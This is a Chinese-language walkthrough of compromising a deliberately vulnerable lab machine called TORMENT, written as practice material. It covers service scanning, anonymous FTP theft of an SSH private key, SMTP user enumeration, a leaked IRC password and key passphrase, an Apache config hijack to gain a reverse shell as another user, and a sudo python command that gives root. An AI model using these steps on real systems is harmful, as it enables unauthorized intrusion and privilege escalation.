# 靶场搭建
下载下来后直接导入就行
IP: 192.168.1.134
# 渗透过程
# 信息初收集
21/tcp open ftp | |
22/tcp open ssh | |
25/tcp open smtp | |
80/tcp open http | |
111/tcp open rpcbind | |
139/tcp open netbios-ssn | |
143/tcp open imap | |
445/tcp open microsoft-ds | |
631/tcp open ipp | |
2049/tcp open nfs | |
6667/tcp open irc | |
6668/tcp open irc | |
6669/tcp open irc | |
6672/tcp open vision_server | |
6674/tcp open unknown | |
34241/tcp open unknown | |
37697/tcp open unknown | |
40271/tcp open unknown | |
43443/tcp open unknown |
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0)
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 2.4.25
111/tcp open rpcbind 2-4 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631/tcp open ipp CUPS 2.2
2049/tcp open nfs 3-4 (RPC #100003)
6667/tcp open irc ngircd
6668/tcp open irc ngircd
6669/tcp open irc ngircd
6672/tcp open irc ngircd
6674/tcp open irc ngircd
34241/tcp open nlockmgr 1-4 (RPC #100021)
37697/tcp open mountd 1-3 (RPC #100005)
40271/tcp open mountd 1-3 (RPC #100005)
43443/tcp open mountd 1-3 (RPC #100005)
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
[06:57:38] 301 - 306B - /manual -> http://192.168.1.134/manual/
[06:57:38] 200 - 201B - /manual/index.html
[06:57:57] 200 - 61B - /secret
ftp 允许匿名用户访问
┌──(root㉿kali)-[~/Desktop]
└─# ftp [email protected]
Connected to 192.168.1.134.
220 vsftpd (broken)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -al
229 Entering Extended Passive Mode (|||48166|)
150 Here comes the directory listing.
drwxr-xr-x 11 ftp ftp 4096 May 03 18:56 .
drwxr-xr-x 11 ftp ftp 4096 May 03 18:56 ..
drwxr-xr-x 2 ftp ftp 4096 Dec 31 2018 .cups
drwxr-xr-x 2 ftp ftp 4096 Dec 31 2018 .ftp
drwxr-xr-x 2 ftp ftp 4096 Dec 31 2018 .imap
drwxr-xr-x 2 ftp ftp 4096 Dec 31 2018 .mysql
drwxr-xr-x 2 ftp ftp 4096 Dec 31 2018 .nfs
drwxr-xr-x 2 ftp ftp 4096 Jan 04 2019 .ngircd
drwxr-xr-x 2 ftp ftp 4096 Dec 31 2018 .samba
drwxr-xr-x 2 ftp ftp 4096 Dec 31 2018 .smtp
drwxr-xr-x 2 ftp ftp 4096 Jan 04 2019 .ssh
-rw-r--r-- 1 ftp ftp 112640 Dec 28 2018 alternatives.tar.0
-rw-r--r-- 1 ftp ftp 4984 Dec 23 2018 alternatives.tar.1.gz
-rw-r--r-- 1 ftp ftp 95760 Dec 28 2018 apt.extended_states.0
-rw-r--r-- 1 ftp ftp 10513 Dec 27 2018 apt.extended_states.1.gz
-rw-r--r-- 1 ftp ftp 10437 Dec 26 2018 apt.extended_states.2.gz
-rw-r--r-- 1 ftp ftp 559 Dec 23 2018 dpkg.diversions.0
-rw-r--r-- 1 ftp ftp 229 Dec 23 2018 dpkg.diversions.1.gz
-rw-r--r-- 1 ftp ftp 229 Dec 23 2018 dpkg.diversions.2.gz
-rw-r--r-- 1 ftp ftp 229 Dec 23 2018 dpkg.diversions.3.gz
-rw-r--r-- 1 ftp ftp 229 Dec 23 2018 dpkg.diversions.4.gz
-rw-r--r-- 1 ftp ftp 229 Dec 23 2018 dpkg.diversions.5.gz
-rw-r--r-- 1 ftp ftp 229 Dec 23 2018 dpkg.diversions.6.gz
-rw-r--r-- 1 ftp ftp 505 Dec 28 2018 dpkg.statoverride.0
-rw-r--r-- 1 ftp ftp 295 Dec 28 2018 dpkg.statoverride.1.gz
-rw-r--r-- 1 ftp ftp 295 Dec 28 2018 dpkg.statoverride.2.gz
-rw-r--r-- 1 ftp ftp 295 Dec 28 2018 dpkg.statoverride.3.gz
-rw-r--r-- 1 ftp ftp 295 Dec 28 2018 dpkg.statoverride.4.gz
-rw-r--r-- 1 ftp ftp 281 Dec 27 2018 dpkg.statoverride.5.gz
-rw-r--r-- 1 ftp ftp 208 Dec 23 2018 dpkg.statoverride.6.gz
-rw-r--r-- 1 ftp ftp 1719127 Jan 01 2019 dpkg.status.0
-rw-r--r-- 1 ftp ftp 493252 Jan 01 2019 dpkg.status.1.gz
-rw-r--r-- 1 ftp ftp 493252 Jan 01 2019 dpkg.status.2.gz
-rw-r--r-- 1 ftp ftp 492279 Dec 28 2018 dpkg.status.3.gz
-rw-r--r-- 1 ftp ftp 492279 Dec 28 2018 dpkg.status.4.gz
-rw-r--r-- 1 ftp ftp 489389 Dec 28 2018 dpkg.status.5.gz
-rw-r--r-- 1 ftp ftp 470278 Dec 27 2018 dpkg.status.6.gz
-rw------- 1 ftp ftp 1010 Dec 31 2018 group.bak
-rw------- 1 ftp ftp 840 Dec 31 2018 gshadow.bak
-rw------- 1 ftp ftp 2485 Dec 31 2018 passwd.bak
-rw------- 1 ftp ftp 1575 Dec 31 2018 shadow.bak
226 Directory send OK.
.ssh 下的那个私钥可能比较有价值,下载下来康康
┌──(root㉿kali)-[~/Desktop/test] | |
└─# wget ftp://192.168.1.134/.ssh/id_rsa |
但是不知道用户名是什么,继续收集
631 端口第一次见,是打印服务的通信协议,通过浏览器访问能够看到打印机的信息,通过打印机的名字得到用户名。搞个脚本提取一下。
使用新学的流编辑方法提取用户名: curl -s http://192.168.1.134:631/printers/ | grep Personal | cut -d/ -f3 | cut -d '&' -f1 > username
通过 25 端口的的邮件服务器判断下哪个账号存在
msf6 auxiliary(scanner/smtp/smtp_enum) > show options
Module options (auxiliary/scanner/smtp/smtp_enum):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.1.134 yes The target host(s), see https://docs.metasploit.com/docs/using-metasplo
it/basics/using-metasploit.html
RPORT 25 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
UNIXONLY true yes Skip Microsoft bannered servers when testing unix users
USER_FILE /root/Desktop/username yes The file that contains a list of probable users accounts.
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/smtp/smtp_enum) > run
[*] 192.168.1.134:25 - 192.168.1.134:25 Banner: 220 TORMENT.localdomain ESMTP Postfix (Debian/GNU)
[+] 192.168.1.134:25 - 192.168.1.134:25 Users found: Patrick, Qiu
[*] 192.168.1.134:25 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Patrick
, Qiu
两个账号存在,但是尝试使用私钥登陆的时候发现还需要 passphrase,所以还需要进一步收集信息。
重新翻了 ftp 的文件,发现 .ngircd
文件夹下有一些信息
channels: | |
games | |
tormentedprinter |
是聊天室,使用 IRC 的客户端连接至服务器上查看信息
IRC(Internet Relay Chat)是一种实时的多用户聊天系统,许多软件和客户端都兼容 IRC 协议。一些常见的 IRC 客户端包括:
mIRC: 运行在 Windows 平台上的流行 IRC 客户端,拥有丰富的功能和用户友好的界面。
HexChat: 一款开源的 IRC 客户端,可在 Windows 和 Linux 平台上运行,它是 XChat 的一个分支。
XChat: 一款开源的 IRC 客户端,最初是为 Unix-like 系统设计的,后来也移植到了 Windows 上。
Irssi: 一个文本模式的 IRC 客户端,通常在 Unix-like 系统上使用,它以其稳定性和可扩展性而闻名。
WeeChat: 另一个文本模式的 IRC 客户端,与 Irssi 类似,也是在 Unix-like 系统上广泛使用的。
ChatZilla: 一个基于 Mozilla 平台的 IRC 客户端插件,可以作为 Firefox 或 SeaMonkey 的扩展使用。
总的来说,有许多 IRC 客户端可供选择,用户可以根据自己的需求和偏好来选择合适的客户端。
我这边用 2,先按装上软件
添加网络,设置服务的端口,然后使用默认密码 wealllikedebian
进行连接
加入 tormentedprinter
频道
拿到密码 mostmachineshaveasupersecurekeyandalongpassphrase
然后可以 ssh 登录 patrick 账号了
# 提权
查看 sudo 权限
patrick@TORMENT:~$ sudo -l | |
Matching Defaults entries for patrick on TORMENT: | |
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin | |
User patrick may run the following commands on TORMENT: | |
(ALL) NOPASSWD: /bin/systemctl poweroff, /bin/systemctl halt, /bin/systemctl reboot |
有关机和重启权限,没什么用
查一下 777 权限文件
patrick@TORMENT:~$ find / -type f -perm 777 2>/dev/null | |
/etc/apache2/apache2.conf | |
/var/www/html/index.html |
看到了 apache 的配置文件能进行读写
将用户 qiu
添加到 apache 的执行用户当中,这样反弹 shell 的时候可能由 qiu
进行执行,然后拿到这个账户的 shell。
配置成一下内容(添加 qiu 进去)
# These need to be set in /etc/apache2/envvars | |
User ${APACHE_RUN_USER} | |
Group ${APACHE_RUN_GROUP} | |
User qiu |
上传一个 shell.php 到 /var/www/html/ 下,等反弹 shell
然后使用 sudo 权限重启: sudo systemctl reboot
重启好以后,监听,触发 shell.php 就能拿到 qiu 用户权限的终端。
查看一下 sudo 权限
$ id | |
uid=1000(qiu) gid=33(www-data) groups=33(www-data),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),113(bluetooth),114(lpadmin),118(scanner) | |
$ sudo -l | |
Matching Defaults entries for qiu on TORMENT: | |
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin | |
User qiu may run the following commands on TORMENT: | |
(ALL) NOPASSWD: /usr/bin/python, /bin/systemctl |
发现有 python 的 sudo 权限,那就直接提权!
$ sudo python -c 'import pty;pty.spawn("/bin/bash")' | |
root@TORMENT:/# whoami | |
whoami | |
root |
拿到了 root 权限
# 小结
没有漏洞利用过程,直接收集信息进来的,认识了一个 IRC 聊天服务器。但是感觉实战应该也遇不上 ==、